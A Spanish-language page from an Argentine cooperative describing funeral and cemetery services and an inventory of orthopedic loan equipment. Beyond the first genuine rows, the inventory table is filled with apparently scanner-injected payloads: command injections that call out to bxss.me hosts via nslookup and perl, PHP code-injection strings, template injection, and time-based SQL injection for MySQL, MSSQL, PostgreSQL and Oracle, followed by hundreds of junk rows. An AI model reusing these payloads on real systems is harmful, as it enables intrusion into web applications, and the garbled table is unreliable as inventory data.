Este servicio cuenta con modernas salas velatorias ubicadas en calle Gomendio N° 875 de nuestra ciudad, las cuales son de propiedad de la Empresa de Servicios Fúnebres "Hijos de Silvano Goenaga" y que fueron construidas con el aporte financiero de Coospral.
Se finalizó la construcción del panteón N° 24 alcanzando en la actualidad una cantidad de 1.728 nichos. También se inició la construcción del panteón N° 25 previéndose su finalización en el segundo semestre del año 2018.
Este servicio puesto en marcha durante el ejercicio 2001 cuenta actualmente con:
| Elemento | Stock | Disponible |
|---|---|---|
| Andadores Sin Ruedas | 9 | 3 |
| Andadores Con Ruedas | 6 | 3 |
| Bastones Canadienses | 7 | 7 |
| Bastones Comunes | 15 | 11 |
| Bastones Trípodes | 5 | 0 |
| Camas Ortopédicas | 11 | 7 |
| Pares de Muletas para Adultos | 23 | 12 |
| Pares de Muletas para Niños | 7 | 7 |
| Sillas de ruedas | 29 | 13 |
| &echo ldqhse$()\ koerph\nz^xyu||a #' &echo ldqhse$()\ koerph\nz^xyu||a #|" &echo ldqhse$()\ koerph\nz^xyu||a # | 1 | 1 |
| |echo flmwqo$()\ aitotr\nz^xyu||a #' |echo flmwqo$()\ aitotr\nz^xyu||a #|" |echo flmwqo$()\ aitotr\nz^xyu||a # | 1 | 1 |
| (nslookup hitefoahheqjbcbf3f.bxss.me||perl -e "gethostbyname('hitefoahheqjbcbf3f.bxss.me')") | 1 | 1 |
| ${10000113+10000197} | 1 | 1 |
| $(nslookup hitpnraqhqktp85126.bxss.me||perl -e "gethostbyname('hitpnraqhqktp85126.bxss.me')") | 1 | 1 |
| &(nslookup hitzlygsohlcd751d6.bxss.me||perl -e "gethostbyname('hitzlygsohlcd751d6.bxss.me')")&'\"`0&(nslookup hitzlygsoh | 1 | 1 |
| |(nslookup hithlcvpqvwci390b7.bxss.me||perl -e "gethostbyname('hithlcvpqvwci390b7.bxss.me')") | 1 | 1 |
| 12345'"\'\");|]*{ <>''???? | 1 | 1 |
| `(nslookup hitkxkzekszylc91cc.bxss.me||perl -e "gethostbyname('hitkxkzekszylc91cc.bxss.me')")` | 1 | 1 |
| '.gethostbyname(lc('hitph'.'mdntswwk3da35.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(68).chr(110).chr(72).' | 1 | 1 |
| ;(nslookup hittnomifeuno3b412.bxss.me||perl -e "gethostbyname('hittnomifeuno3b412.bxss.me')")|(nslookup hittnomifeuno3b4 | 1 | 1 |
| ".gethostbyname(lc("hitix"."zlaqfujp3e69d.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(74).chr(112).chr(83)." | 1 | 1 |
| !(()&&!|*|*| | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 0 |
| 1 | 1 | 0 |
| 1 | 1 | 1 |
| 1 | 1 | -1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 0 |
| ^(#$!@#$)(()))****** | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 0 |
| 1 | 1 | 1 |
| ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| addElemOrtopedia | 1 | 1 |
| ';print(md5(31337));$a=' | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| 1 | 1 | 1 |
| addElemOrtopedia | 1 | 1 |
| 1 | 12345 | 1 |
| 1 | 1 | -1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| addElemOrtopedia/. | 1 | 1 |
| ";print(md5(31337));$a=" | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 1 |
| ${@print(md5(31337))} | 1 | 1 |
| 1 | 1 | -1 |
| 1 | 0 | 1 |
| 1 | 1 | 1 |
| ${@print(md5(31337))}\ | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| 1 | 0 | 1 |
| 1 | 1 | 1 |
| '.print(md5(31337)).' | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | -1 |
| 1 | 0 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | -1 |
| 1 | 0 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| 1 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| 1 | 0 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| 1 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| 1 | 0 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | -1 |
| 1 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| 1 | 0 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| 1 | 0 | 1 |
| 1 | 1 | -1 |
| 1 | 0 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 0 |
| 1 | 1 | 0 |
| 1 | 1 | 0 |
| 1 | 1 | 0 |
| 1 | 1 | -1 |
| 1 | 1 | -1 |
| 1 | 1 | 1 |
| 1 | 1 | 0 |
| 1 | 1 | -5 |
| 1 | 1 | -5 |
| 1 | 1 | -1 |
| 1 | 1 | 0 |
| 1 | 1 | 0 |
| 1 | 1 | 0 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 0 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| -1 OR 2+376-376-1=0+0+0+1 -- | 1 | 1 |
| -1 OR 3+376-376-1=0+0+0+1 -- | 1 | 1 |
| -1 OR 3*2<(0+5+376-376) -- | 1 | 1 |
| -1 OR 3*2>(0+5+376-376) -- | 1 | 1 |
| -1 OR 2+380-380-1=0+0+0+1 | 1 | 1 |
| -1 OR 3+380-380-1=0+0+0+1 | 1 | 1 |
| -1 OR 3*2<(0+5+380-380) | 1 | 1 |
| -1 OR 3*2>(0+5+380-380) | 1 | 1 |
| -1' OR 2+226-226-1=0+0+0+1 -- | 1 | 1 |
| -1' OR 3+226-226-1=0+0+0+1 -- | 1 | 1 |
| -1' OR 3*2<(0+5+226-226) -- | 1 | 1 |
| -1' OR 3*2>(0+5+226-226) -- | 1 | 1 |
| -1' OR 2+835-835-1=0+0+0+1 or '6JFWPDdQ'=' | 1 | 1 |
| -1' OR 3+835-835-1=0+0+0+1 or '6JFWPDdQ'=' | 1 | 1 |
| -1' OR 3*2<(0+5+835-835) or '6JFWPDdQ'=' | 1 | 1 |
| -1' OR 3*2>(0+5+835-835) or '6JFWPDdQ'=' | 1 | 1 |
| -1" OR 2+457-457-1=0+0+0+1 -- | 1 | 1 |
| -1" OR 3+457-457-1=0+0+0+1 -- | 1 | 1 |
| -1" OR 3*2<(0+5+457-457) -- | 1 | 1 |
| -1" OR 3*2>(0+5+457-457) -- | 1 | 1 |
| if(now()=sysdate(),sleep(15),0) | 1 | 1 |
| 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | 1 | 1 |
| 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | 1 | 1 |
| (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ | 1 | 1 |
| -1; waitfor delay '0:0:15' -- | 1 | 1 |
| -1); waitfor delay '0:0:15' -- | 1 | 1 |
| 1 waitfor delay '0:0:15' -- | 1 | 1 |
| N8mfD3fv'; waitfor delay '0:0:15' -- | 1 | 1 |
| -5 OR 769=(SELECT 769 FROM PG_SLEEP(15))-- | 1 | 1 |
| -5) OR 456=(SELECT 456 FROM PG_SLEEP(15))-- | 1 | 1 |
| -1)) OR 639=(SELECT 639 FROM PG_SLEEP(15))-- | 1 | 1 |
| jytIE32h' OR 133=(SELECT 133 FROM PG_SLEEP(15))-- | 1 | 1 |
| nwn3I0v0') OR 895=(SELECT 895 FROM PG_SLEEP(15))-- | 1 | 1 |
| VmkR83qG')) OR 110=(SELECT 110 FROM PG_SLEEP(15))-- | 1 | 1 |
| 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) | 1 | 1 |
| 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | 1 | 1 |
| 1'" | 1 | 1 |
| 1%2527%2522 | 1 | 1 |
| @@Nplsi | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | 1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | -1 | 1 |
| 1 | 0 | 1 |
| 1 | 0 | 1 |
| 1 | 0 | 1 |
La COOPERATIVA de PROVISIÓN de SERVICIOS PÚBLICOS del PARTIDO de RAMALLO LIMITADA; "COOSPRAL" proveerá el Servicio de Préstamo y Alquiler de Material Ortopédico de acuerdo a las siguientes cláusulas: